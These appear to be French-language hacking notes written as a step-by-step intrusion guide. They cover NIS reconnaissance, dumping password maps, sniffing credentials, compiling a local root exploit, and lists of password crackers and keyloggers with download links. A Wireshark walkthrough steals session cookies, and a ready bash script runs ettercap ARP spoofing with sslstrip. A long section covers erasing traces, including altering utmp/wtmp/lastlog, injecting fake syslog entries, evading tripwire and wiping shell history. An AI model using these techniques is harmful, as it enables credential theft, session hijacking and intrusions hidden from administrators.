Collecte



Il faut savoir quels sont les serveurs de fichiers, de backup, de logs, NIS (Network Information Service), et autres serveurs importants. Il faut aussi savoir quelles sont les machines des administrateurs et le nom de login de ceux-ci.

Si l’admin utilise NIS , on peut récupérer les NIS maps
La commande ypwhich donne le nom du serveur NIS.
  1. Pour connaître le nom de login du ou des administrateurs, il suffit de taper la commande rusers.
#domainname nis_domain
#ypwhich nis_server
#ypcat passwd > passwd_file
#ypcat -k netgroup > netgroup_file

  1. Le but est d'acquérir des droits root sur un segment ethernet.
Une suite d'outils pour sniffer ; 
# dsniff dsniff: listening on xl0
-----------------
08/08/01 11:07:57 udp host1.domain.fr.56030 -> host2.domain.fr.161 (snmp)
[version 1]
password
            -----------------
07/17/01 16:02:03 tcp host84.domain.fr.1023 -> host10.domain.fr.513 (rlogin)
[root:root]
Password
Login
password
ls
who
  • Snoop, installé avec Solaris, ou TcpDump
  • Siphon
  • John the Ripper, crackeur de mots de passe ;
  • Des exploits locaux

  1. Exemple pour devenir root:

#uname -sr SunOS 5.8

Recherche d'un exploit local pour cette version de Solaris sur SecurityFocus. On trouve une vulnérabilité dans la bibliothèque libsldap, avec un exploit.

#gcc exploit.c -o exploit
#./exploit
#id uid=0(root) gid=0(root)

1.  Cracker les mots de passe:


  • Cain and Abel : un des plus fameux détecteur de mot de passe pour Windows. Il permet de gérer une énorme quantité de taches.  Il peut retrouver des mots de passe en sniffant le réseau et de cracker les mots de passe encryptés à l'aide d'un dictionnaire, Brute  It can recover passwords by sniffing the network, cracking encrypted passwords using Dictionary, Brute-Force and Cryptanalysis attacks, recording VoIP conversations, decoding scrambled passwords, revealing password boxes, uncovering cached passwords and analyzing routing protocols.
Download:- http://www.oxid.it/cain.html

  • John the Ripper :- A powerful, flexible, and fast multi-platform password hash cracker. John the Ripper is a fast password cracker, currently available for many flavors of Unix, DOS, Win32, BeOS, and OpenVMS. Its primary purpose is to detect weak Unix passwords. It supports several crypt(3) password hash types which are most commonly found on various Unix flavors, as well as Kerberos AFS and Windows NT/2000/XP LM hashes. Several other hash types are added with contributed patches.
Download:- http://www.openwall.com/john/

  • THC Hydra :- A Fast network authentication cracker which support many different services. When you need to brute force crack a remote authentication service, Hydra is often the tool of choice. It can perform rapid dictionary attacks against more then 30 protocols, including telnet, ftp, http, https, smb, several databases, and much more.
Download:- http://freeworld.thc.org/thc-hydra/

  • 
L0phtcrack :- Windows password auditing and recovery application L0phtCrack, also known as LC5, attempts to crack Windows passwords from hashes which it can obtain (given proper access) from stand-alone Windows NT/2000 workstations, networked servers, primary domain controllers, or Active Directory. In some cases it can sniff the hashes off the wire. It also has numerous methods of generating password guesses (dictionary, brute force, etc).

Download:- http://download.insecure.org/stf/lc5-setup.exe
http://download.insecure.org/stf/lc5-crack.zip (keygen)

  • Pwdump :- Windows password recovery tool.
Pwdump is able to extract NTLM and LanMan hashes from a Windows target, regardless of whether Syskey is enabled. It is also capable of displaying password histories if they are available. It outputs the data in L0phtcrack-compatible form, and can write to an output file.
Download:- http://swamp.foofus.net/fizzgig/pwdump/downloads.htm

  • RainbowCrack :- An Innovative Password Hash Cracker.
The RainbowCrack tool is a hash cracker that makes use of a large-scale time-memory trade-off. A traditional brute force cracker tries all possible plaintexts one by one, which can be time consuming for complex passwords. RainbowCrack uses a time-memory trade-off to do all the cracking-time computation in advance and store the results in so-called "rainbow tables". It does take a long time to precompute the tables but RainbowCrack can be hundreds of times faster than a brute force cracker once the precomputation is finished. 
Download:- http://www.antsight.com/zsl/rainbowcrack/

  • Brutus :- A network brute-force authentication cracker
This Windows-only cracker bangs against network services of remote systems trying to guess passwords by using a dictionary and permutations thereof. It supports HTTP, POP3, FTP, SMB, TELNET, IMAP, NTP, and more.
Download:- http://www.hoobie.net/brutus/brutus-download.html


Pour récupérer le fichier de mots de passe cryptés, sur la machine compromise:
prompt$ ypcat passwd > passwd_file
Il suffit ensuite de lancer le cracker en mode rapide sur ce fichier de mots de passe:
prompt$ john -single passwd_file

.pwl situés dans c:/windows contiennent les mots de passe
pour NT c:/winnt/system32/config/sam   ----> L0phtcrack
pour Unix /etc/passwd     /etc/shadow    -----> more /etc/passwd
Pwltool  http://soft4you.com/vitas/          John_the_ripper   cf p65
bruteforce - dictionnaire – hybrid

2.  Wireshark


Wireshark est l'analyseur réseau par excellence (protocoles réseaux et applicatifs). Wireshark utilise la librairie réseau pcap pour capturer les paquets.
Vous pouvez obtenir des informations telles que les adresses IP/MAC source ou destination, le numéro de port TCP/UDP ou le contenu des paquets.

Capturer l’ensemble des paquets est difficile au stade de l’analyse : 2 solutions indispensables pour retrouver l’information :

Les filtres de capture: données à enregistrer dans les journaux.
Les filtres d'affichage: rechercher à l'intérieur des données capturées.

Exemples de filtres dans Wireshark :

wlan.addr == 00.XX.XX.XX.XX.XX && wlan.addr == 00.XX.XX.XX.XX
wlan.addr == 00.XX.XX.XX.XX.XX || wlan.addr == 00.XX.XX.XX.XX

Wireshark Ethereal en wifi


Visualiser sur whireshark, les sites web visités par la cible, récupérer son adresse email,…

Airtun-ng fait partie de la suite aircrack-ng.

#airtun-ng -a (l'adresse mac de la box) -w (la clé WEP de la box) suivi de votre interface wifi.

On ouvre une nouvelle commande avec:

#ifconfig wlan1 up

Lancez dans un shell airodump (voir dans le tuto crack clé wep) pour surveiller les datas et éventuellement prévoir un filtre de capture dans wireshark.

On ouvre whireshark, on va dans 'edit;preference;protocol;ieee 802;on coche assume packet et enable decryption si vous rajoutez des clés (pour une utilisation plus tard de whireshark sans airtun-ng), ensuite capture, option et on sélectionne at0 en promiscuous mode,
puis start.
Un filtre http dans filter accélérera vos recherches ou http.cookie pour les mails...
Un autre filtre: http.cookie and ip.addr eq 192.168.xx.xx (filtre http + cookie + l'adresse ip désiré)

Indiquez votre filtre dans capture filter.

host 192.168.1.10
affiche les paquets source et destination de cette ip

tcp dst port 4150
affiche les paquets à destination du port tcp 4150

port 53
affiche les paquets dns du port 53

port not 53 and not arp
affiche tous les paquet sauf le trafique DNS + port 53

tcp portrange 1500-2000
affiche les paquets tcp entre le port 1500 et 2000

not imcp
affiche tous les paquets sauf imcp

Wireshark et Cookie Editor (ex : Cookies Manager+)


Lancer la capture à l’aide de Wireshark comme définit précédemment puis appliquer les filtres d'affichage:

·         http.cookie
·         IP packets having IP address of www.zesite.com

Dans Wireshark, chercher le protocole HTTP suivi par GET /home.php
Sélectionner la ligne, relative au cookie puis, clic droit dessus et copier les noms et les valeurs dans Notepad.

·         D'abord, la paire nom / valeur ('ppkcookie1=testcookie').
·         La date d'expiration dans un format correct (expires=Sun, 28 Feb 2010 00:00:00 UTC).
·         Le domaine (path=/).

Maintenant dans firefox j'ajoute l’addons Cookie Manager+, qui va me permettre de créer mon cookie avec les infos que j'ai précédemment volé avec wireshark.
J'ouvre l’éditeur de Cookie, je sélectionne add puis je rentre les renseignements tels qu’ils sont dans le cookie capturé.

Ouvrir la page du site concerné…

Cf CookieLogger

airdecap-ng


Airdecap-ng permet de décrypter votre fichier de capture (.cap) avec la clé wep ou wpa.

Common options:
-l : don't remove the 802.11 header
-b : access point MAC address filter
-e : target network SSID

WEP specific option:
-w : target network WEP key in hex

WPA specific options:
-p : target network WPA passphrase
-k : WPA Pairwise Master Key in hex

Ex : airdecap-ng -w xxxxxxxxxxxxx w-01.cap





Script for sniffing passwords and data on lan/wlan using ettercap, sslstrip, urlsnarf
Make sure your etter.conf is default. Your etter.conf is located at /etc/etter.conf

# if you use iptables:
   #redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"
   #redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport"

Save this code to a new text file and save as anything.sh


#!/bin/bash
echo -n "Do you want to execute Wireshark when done? If yes, LEAVE BLANK "
read -e NOYES
echo -n "Do you want to extract pictures from the pcap via tcpxtract? If yes, LEAVE BLANK "
read -e XTRACT
echo -n "What interface to use? ie wlan1: "
read -e IFACE
echo -n "Name of "Session"? (name of the folder that will be created with all the log files): "
read -e SESSION
echo -n "Gateway IP - LEAVE BLANK IF YOU WANT TO ARP WHOLE NETWORK: "
read -e ROUTER
echo -n "Target IP - LEAVE BLANK IF YOU WANT TO ARP WHOLE NETWORK: "
read -e VICTIM
mkdir /root/$SESSION/
iptables --flush
iptables --table nat --flush
iptables --delete-chain
iptables --table nat --delete-chain
sslstrip -p -k -w /root/$SESSION/$SESSION.log &
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
urlsnarf -i $IFACE | grep http > /root/$SESSION/$SESSION.txt &
ettercap -T -i $IFACE -w /root/$SESSION/$SESSION.pcap -L /root/$SESSION/$SESSION -M arp /$ROUTER/ /$VICTIM/
"$XTRACT"tcpxtract -f /root/$SESSION/$SESSION.pcap
"$NOYES"wireshark &
killall sslstrip
killall python
killall urlsnarf
iptables --flush
iptables --table nat --flush
iptables --delete-chain
iptables --table nat --delete-chain
etterlog -p -i /root/$SESSION/$SESSION.eci

FIND MSN/FACEBOOK CHAT IN WIRESHARK

Le filtre à utiliser est: "MSNMS"

3.  Xplico:


The goal of Xplico is extract from an internet traffic capture the applications data contained.
                                         http://localhost:9876

4.  Running Network Miner with Wine


Installing Wine

shell>sudo apt-get install wine wine-dev cabextract

Configure Wine

shell>winecfg

In Application tab, change windows version to Windows 2000

shell>wget http://kegel.com/wine/winetricks

Install cofefronts and .net framework 2.0 -

shell>sh winetricks corefonts dotnet20

Download NetworkMiner -
shell>wget \
http://sourceforge.net/project/showfiles.php?group_id=189429

Unzip it and run -

shell>wine NetworkMiner.exe


How to open, view, read, check or get email headers

http://www.abika.com/Reports/Samples/emailheaderguide.htm

How to check email headers in Yahoo Mail Classic ?
(If you are using the New version of Yahoo Mail then please follow the instructions outlined in the next paragraph)

• Log into your Yahoo! Mail account.
• Click on the email and open it
• On the bottom right corner is a link called "Full Header"
• Once you click on "Full Header" the header will show up at the top of the email message.
How to check email header in the New Yahoo Mail ?

When you log into your email account please check to make sure that you are not using Yahoo Mail Classic. If you are using Yahoo Mail Classic then click on the link, "All New Mail" on the top right corner just before the link for Help.
• Click on the Inbox to see the list of your messages.
• Click on the message and open the email.
• On the top right corner of the email message you will see "Standard Header" and an arrow next to it. Click on this arrow and then click on "Full Headers"
• A new window will open with the header information.

How to get email headers in AOL or AIM ?

If the email is sent from anywhere OTHER than AOL, and you are receiving it in AOL, then open the email you want to trace, or have your client open the email, and look for the link Details. This link is usually just below the To:email  in the email message.  If the email is sent from an AOL user to another AOL user then the Reverse AOL Screenname search can help deduce the source location.

How to view email headers in Gmail or Googlemail ?
Log into your Gmail or Googlemail Account
Open the Email whose headers you want to view
You will see Reply at the top right of the message pane.
You will see a little arrow pointing down next to Reply.  Click on this down arrow next to Reply.
A drop down menu will open up. Select Show original in this menu
The full headers will now appear in a new window.
Mac OS X

To get the full message source:
Select a message
Select menu item Message, Show, Raw Source.
Click on the resulting text
Click Edit, Select All, then Edit, Copy
Paste

MS Office 2010

On my Office 2010 Pro Plus 32 bit system:
Open the eMail
Click on [File]
Click on [Info]
Click on [Properties]


5.  Keyloggers


Hardware Keyloggers

This type of keylogger is a piece of equipment that is physically attached to ones computer, typically between the keyboard and the machine itself. While this type is the most powerful and readily available (try a Google search for ‘keylogger’ and you’ll be shocked), it also requires direct access to a machine to be installed.

Software Keyloggers

This is the form of keylogging that you should be most aware of. In this case, the keylogger is attached via Malware, typically through a trojan horse. Thus, you’ll download an unsuspicious file (the trojan horse) that contains the keylogging software (malware). Once installed, the controller has full access to all of your keystrokes and passwords.

Keyloggers:
-SniperSpy
-Ardamax Keylogger : (http://www.fileserve.com/file/6nssANG
http://www.ziddu.com/download/12526506/hackaholicpassword.rar.html )
-Realtime Spy
-Rinlogger
-Winspy keylogger



















Effacer les traces

Un outil de nettoyage peut être développé pour accomplir cette tâche, mais le nettoyage à la main est également aisé, à condition d'avoir bien noté chacune des modifications que l'on a apporté au réseau.

Cf 1 Cryptage

Vider les répertoires HOME ou TMP des serveurs

Comprendre et nettoyer les "logs" des serveurs
Sous Unix il faut connaître au minimum 3 fichiers de log importants :
WTMP - chaque connexion/déconnexion avec l'heure, le serveur et le terminal concernél
UTMP - tous les utilisateurs connectés à un moment donné
LASTLOG - origine des connexions
D'autres existent, qui seront abordésci-dessous. Toute connexion par telnet, ftp, rlogin ou rsh est enregistrée dans ces fichiers.
Contre :
l'administrateur du serveur cible peut analyser ces fichiers ou utiliser des commandes statistiques (lastlogin par exemple) pour savoir :
a) quant l'intrusion a eu lieu
b) le serveur d'origine de l'intrusion
c) le temps et une estimation de l'impact de l'intrusion
Comment :
Effacer les traces de son passage des fichiers logs de base WTMP, UTMP, LASTLOG.
Localisation par défaut des fichiers logs : (variable selon les distributions d'Unix)
UTMP : /etc or /var/adm ou /usr/adm ou /usr/var/adm ou /var/log
WTMP : /etc or /var/adm ou /usr/adm ou /usr/var/adm ou /var/log
LASTLOG : /usr/var/adm ou /usr/adm ou /var/adm ou /var/log ou HOME/.lastlog
Il est stupide d'effacer ces fichiers sur le serveur cible : l'administrateur saura immédiatement que l'intrusion a eu lieu
Il est recommandé d'utiliser un programme de modification de ces fichiers logs.

ZAP (or ZAP2) : remplacement de la dernière donnée de connexion par des zéros
Peu efficace car le CERT distribue des programmes vérifiant les données à zéro.
CLOAK2 : modification des données
CLEAR : effacement des données
Il n'existe pas de solution simple pour nettoyer UTMPX ou WTMPX
Autorisation nécessaire :
Normalement ces modifications ne sont possibles que par ROOT
Si l'accès ROOT n'a pas été obtenu, il suffit pour certaines versions d'Unix de faire un rlogin lors de votre connexion sur le serveur pour modifier - le LASTLOG, - les données UTMP (effacées)
Trouver et manipuler tous les autres fichers log
Trouver tous les fichiers ouverts
Comme tous les fichiers log écrivent quelque part, utiliser le programme LSOF - LiSt Open Files - pour identifier tous les fichiers ouverts, vérifier leur contenu et éventuellement le modifier
Trouver tous les fichiers modifiés après la connexion
Juste après la connexion faire "touch /tmp/check" avant de continuer à travailler.
Par la suite faire "find / -newer /tmp/check -print" ou "find / -ctime 0 -print" ou "find / -cmin 0 -print", vérifier les fichiers, identifier les fichiers d'audit et les modifier.
Vérifier les répertoires par défaut
/usr/adm, /var/adm ou /var/log.
Vérifier les serveurs distants recevant les logs (messages envoyés à @loghost)
Problème : pénétrer le serveur de logs et manipuler la messagerie...très compliqué
Pour éliminer le nom d'intrusion des messages à expédier : "grep -v evil.host.com messages > /tmp/tmpfile; mv /tmp/tmpfile messages"
Vérifier la configuration des syslogs
Le programme syslog enregistre les logs dans des fichiers spéciaux.
Son fichier de configuration est /etc/syslog.conf. :
Les entrées kern.*, auth.* and authpriv.* doivent être vérifiées
Les sorties paramétrées doivent être vérifiées
- les fichiers peuvent être modifiés
- les serveurs distants sont identifiés
- les utilisateurs destinataires sont définis : dans ce cas il faut générer de faux logs pour noyer les vôtres : "echo 17:04 12-05-85 kernel sendmail[243]: can't resolve bla.bla.com > /dev/console".
Manipuler les logs sous format texte
Utiliser :
grep-v
linecount wc avec destruction des 10 dernières lignes ("head -LineNumbersMinus10")
éditeur de fichier
Manipuler les logs sous format données
Identifier le programme gérant les données
obtenir le programme
trouver la structure du fichier de données
adapter zap, clear, cloak,... pour produire des fichiers structurés de la même manière
Manipuler les logs de comptabilisation
utiliser acct-cleaner de zhart
Obtenir les programmes nécessaires
LISTE DES PROGRAMMES DE MODIFICATION DES LOGS
ah-1_0b.tar Change les entrées des logs de comptabilisation
clear.c Effacement des entrées dans utmp, wtmp, lastlog et wtmpx
cloak2.c Changement des entrées dans utmp, wtmp et lastlog
invisible.c Réécrit utmp, wtmp et lastlog avec des valeurs prédéfinies.
marryv11.c Edite utmp, wtmp, lastlog et données de comptabilisation -***
wzap.c Effacement des entrées dans wtmp
wtmped.c Effacement des entrées dans wtmp
zap.c Réécrit utmp, wtmp, lastlog - Attention : détectable !!!
La recommendation
"Pour modifier le LASTLOG sans toucher au fichier, une fois connecté, lancer un rlogin "serveur cible" avec le login et pass du compte utilisateur hacké. Cela a pour effet d'enregistrer un LASTLOGIN à partir du serveur et non à partir de l'extérieur..."
Règle de Survie 6 : comprendre et manipuler les programmes de sécurité installés
Quoi ? :
Sur les serveurs sécurisés, les programmes de sécurité sont lancés à intervalles périodiques par cron.Ces programmes vérifient les tailles de fichiers ou analysent les logs serveurs. Ils peuvent être également stockés dans les répertoires adm ou ~bin (pour les sniffers)
Contre :
Les détections automatisées de programmes espions installés (sniffers, programmes remplacés ou chevaux de troie) par l'intrus
Comment :
Accéder aux paramètres de cron. vLe répertoire par défaut des crontabs est /var/spool/cron/crontabs. vVérifier toutes les entrées, surtout les fichiers "root" et analyser les programmes lancés. vFaire par exemple "crontab -l root".
Les programmes d'audit peuvent être : tiger, cops, spi, tripwire, l5,binaudit, hobgoblin, s3,... vIl s'agit de savoir ce qu'ils enregistrent et si ils enregistrent... Si ils sont actifs pour enregistrer les fichiers sniffers installés par les intrus , faire ...
mise à jour des fichiers de données du programme (utiliser le mode apprentissage)
modifier le programme ...
Corriger les résultats des programmes de vérification de tailles de fichiers
Ces programmes sont très faciles à écrire et donc difficiles à identifier dans un système cible.
Pour les plus connus voici les localisations par défaut : (en général protégées)
Programme Localisation par défaut Nom de l'éxé
tripwire /usr/adm/tcheck, /usr/local/adm/tcheck databases, tripwire
binaudit /usr/local/adm/audit auditscan
hobgoblin ~user/bin hobgoblin
raudit ~user/bin raudit.pl
l5 compile directory l5
Pour modifier les contrôles :
- modifier les paramètres pour ne pas contrôler un fichier
faire "tripwire -update /bin/target" par exemple.
- modifier la liste des fichiers à contrôler
En cas de remplacement d'un programme standard, utiliser la commande "touch" pour modifier les atime and mtime.ctime ne peut être changé que par écriture sur le disque...
En cas d'installation d'un sniffer, crypter les données de sortie...
Règle de Survie 7 :connaître les administrateurs système
Qui est root ?
Pour trouver les 1 à 6 administrateurs système, vérifier le fichier .forward, les entrées d'alias, les sulog pour root, les groupes "administration", le fichier des mots de passe.
Vérifier les mesures de sécurité de root
Après être rentré dans leur répertoire, vérifier les fichiers .history/.sh_history/.bash_history pour retrouver les commandes habituelles, vérifier les fichiers .profile/.login/.bash_profile pour repérer les aliases, vérifier que des auto-security checks ou logging ne sont pas effectués, vérifier les répertoires ~/bin à la recherche des programmes d'audit (ls -alR ~/ ou ls -alH sous HP UX)
Toutes ces informations ne vous sont proposées qu'à titre pédagogique...

récupérer les NIS maps : les maps importantes sont: passwd et netgroup
domainname pour obtenir le nom du domaine NIS
ypwhich donne le nom du serveur NIS
rusers Pour connaître le nom de login du ou des administrateurs

Devenir root:
prompt$ uname -sr

Recherche d'un exploit local

prompt$ gcc exploit.c -o exploit
prompt$ ./exploit
prompt# id
uid=0(root) gid=0(root)








Cracking page http
Webcrack
wwwCrack
Brutus (ftp,pop3,smb,…)

Afficher les mots de passe
Snadboy's Revelation     www.snadboy.com
VuPassword                      www.ptorris.com


Utlisation du code Javascript - ActiveX - .bat    : cf p73






Toute commande peut être mémorisée dans un fichier d'historique : il est recommandé de lancer deux shells à la connexion pour vérifier les données enregistrées dans ce fichier.
Fichiers concernés selon la version d'Unix
sh: .sh_history
csh: .history
ksh: .sh_history
bash: .bash_history
zsh: .history

Utiliser les commandes csh suivantes pour effacer les données d'historique sans laisser de traces.
mv .logout save.1
echo rm .history>.logout
echo rm .logout>>.logout
echo mv save.1 .logout>>.logout